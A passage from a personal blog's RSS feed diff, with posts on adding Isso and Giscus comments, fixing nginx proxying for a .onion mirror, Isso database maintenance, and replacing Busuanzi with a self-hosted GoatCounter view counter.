    +    s.setAttribute('data-theme', gTheme());  // initial theme
    +    document.getElementById('giscus-thread').appendChild(s);
    +
    +    // Retheme once iframe exists
    +    const reTheme = () => {
    +      const iframe = document.querySelector('iframe.giscus-frame');
    +      if (!iframe) return;
    +      iframe.contentWindow?.postMessage(
    +        { giscus: { setConfig: { theme: gTheme() } } },
    +        'https://giscus.app'
    +      );
    +    };
    +
    +    // PaperMod toggle button
    +    document.getElementById('theme-toggle')?.addEventListener('click', () =>
    +      setTimeout(reTheme, 0)
    +    );
    +
    +    // Also react to attribute changes
    +    const mo = new MutationObserver(reTheme);
    +    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    +    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
    +
    +    gLoaded = true;
    +  }
    +
    +  function show(which) {
    +    const showIsso = which === 'isso';
    +    panelIsso.style.display = showIsso ? 'block' : 'none';
    +    panelGisc.style.display = showIsso ? 'none'  : 'block';
    +    issoBtn?.setAttribute('aria-pressed', showIsso);
    +    giscBtn?.setAttribute('aria-pressed', !showIsso);
    +    if (!showIsso) loadGiscus();
    +  }
    +
    +  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
    +  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
    +
    +  // default
    +  show('isso');
    +})();
    +</script>
    +

    Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

    +

    The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

    +

    Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

    +
    # /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
    +server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
    +
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +
    +    # /isso -> /isso/
    +    location = /isso { return 301 /isso/; }
    +
    +    # IMPORTANT: this must beat regex locations below
    +    location ^~ /isso/ {
    +        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
    +        proxy_http_version 1.1;
    +        proxy_set_header Host $host;
    +        proxy_set_header X-Forwarded-Host $host;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +        proxy_redirect off;
    +        proxy_read_timeout 60s;
    +    }
    +
    +    # static
    +    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Reload and smoke test:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
    +
    +

    If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

    +

    Small CSS tweaks (one color across light/dark + spacing)

    +

    I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

    +
    /* put this in your site CSS */
    +:root { --btn-blue: #2563eb; } /* adjust to taste */
    +
    +/* Isso form buttons */
    +.isso-post-action input[type="submit"],
    +.isso-post-action input[name="preview"] {
    +  background: var(--btn-blue) !important;
    +  color: #fff !important;
    +  border: none;
    +  padding: .5rem .75rem;
    +  border-radius: .4rem;
    +  cursor: pointer;
    +}
    +
    +/* link actions under comments */
    +.isso-comment-footer a {
    +  color: var(--btn-blue) !important;
    +  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
    +  text-decoration: none;
    +}
    +.isso-comment-footer a:hover { text-decoration: underline; }
    +
    +/* keep name/email/website stacked, slightly larger */
    +.isso-auth-section .isso-input-wrapper {
    +  display: block;
    +  margin: .35rem 0;
    +}
    +.isso-auth-section label { font-size: .95rem; }
    +.isso-auth-section input[type="text"],
    +.isso-auth-section input[type="email"],
    +.isso-auth-section input[type="url"] {
    +  width: 100%;
    +  font-size: 1rem;
    +  padding: .5rem .6rem;
    +}
    +

    What changed (the fixes I actually made)

    +
      +
    1. +

      Theme correctness for Giscus.
      +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

      +
        +
      • read localStorage.pref-theme first,
      • +
      • fall back to class/data-theme, then
      • +
      • fall back to OS preference.
        +I also re-theme the Giscus iframe on every toggle via postMessage.
      • +
      +
    2. +
    3. +

      Isso over Tor.
      +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

      +
    4. +
    5. +

      UI polish.

      +
        +
      • Unified button/link color across themes,
      • +
      • ensured “edit”/“delete” aren’t touching,
      • +
      • kept the author/email/website inputs stacked, and
      • +
      • left Submit/Preview styled and grouped.
      • +
      +
    6. +
    +

    Sanity check

    +
      +
    • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
    • +
    • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
    • +
    • Switcher buttons swap panels instantly; Giscus only loads when clicked.
    • +
    +

    8) Final notes!

    +

    I could not fully fix the style of Isso. +CSS is not easy… drat!

    +

    I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

    +

    Admin note — Delete all Isso comments for a single post

    +

    This note is for future me: how to remove every comment tied to one post in Isso.
    +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

    +
    +

    TL;DR (host with SQLite)

    +
    +

    Replace the placeholders for DB and POST_URI first.

    +
    # 0) Variables — edit these two lines for your setup
    +DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
    +POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
    +
    +# 1) Backup (always do this!)
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +
    +# 2) Inspect: find the thread row and preview the comments
    +sqlite3 "$DB" "
    +.headers on
    +.mode column
    +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +SELECT id, tid, created, author, text
    +FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
    +ORDER BY created DESC
    +LIMIT 25;
    +"
    +
    +# 3) Delete all comments for that post (thread)
    +sqlite3 "$DB" "
    +DELETE FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
    +"
    +
    +# 4) (Optional) Remove the now-empty thread row too
    +sqlite3 "$DB" "
    +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +VACUUM;
    +"
    +
    +# 5) Done. Isso usually picks this up automatically.
    +#    If you're containerized and want to be safe:
    +# docker restart <isso_container_name>
    +

    +

    If running Isso in Docker

    +

    Open a shell in the container, then run the same steps:

    +
    docker exec -it <isso_container_name> /bin/sh
    +
    +# Inside the container:
    +DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
    +POST_URI="/posts/skin_routine/"
    +
    +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +exit
    +
    +# Optionally restart the container:
    +docker restart <isso_container_name>
    +

    +

    Notes & gotchas

    +
      +
    • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
      [general]
      +dbpath = /var/lib/isso/comments.db
      +
    • +
    • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
      sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
      +
    • +
    • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
    • +
    • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
    • +
    • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
    • +
    • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
    • +
    +
    +

    One-liners for the impatient

    +
    DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +

    +

    Isso container: quick checks & fixes for future me! (thank past me later ^^)

    +

    Find the container

    +
    docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
    +

    Inspect basic state

    +
    docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
    +

    Logs

    +
    docker logs --tail=200 isso
    +docker logs -f isso
    +

    Ports & reachability

    +
    docker port isso
    +sudo ss -ltnp | grep ':8080 '
    +curl -i http://127.0.0.1:8080/
    +

    Restart policy (keep it running)

    +
    docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
    +docker update --restart unless-stopped isso
    +

    Start/stop the container

    +
    docker start isso
    +docker stop isso
    +

    Who/what stopped it (events)

    +
    docker events --since 24h --filter container=isso
    +

    Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

    +
    nl -ba /config/isso.cfg | sed -n '1,120p'
    +grep -n '^\[server\]' /config/isso.cfg
    +grep -n '^public-endpoint' /config/isso.cfg
    +

    Using Docker Compose (run these in the directory with your compose file)

    +
    docker compose ps
    +docker compose logs --tail=200 isso
    +docker compose up -d isso
    +

    If the container doesn’t exist (create/recreate)

    +
    docker image ls | grep -i isso
    +
    +docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
    +

    Optional: exclude from auto-updaters (like Watchtower)

    +
    docker update --label-add com.centurylinklabs.watchtower.enable=false isso
    +

    This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
    +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
    +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
    +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
    +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
    +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
    +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
    +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
    +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
    +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
    +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
    +=9k+S
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md.asc
    +gpg --verify new_features.md.asc new_features.md
    +  
    +
    + + +]]>
    +
    + + A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + Sat, 18 Oct 2025 10:45:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix. + I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
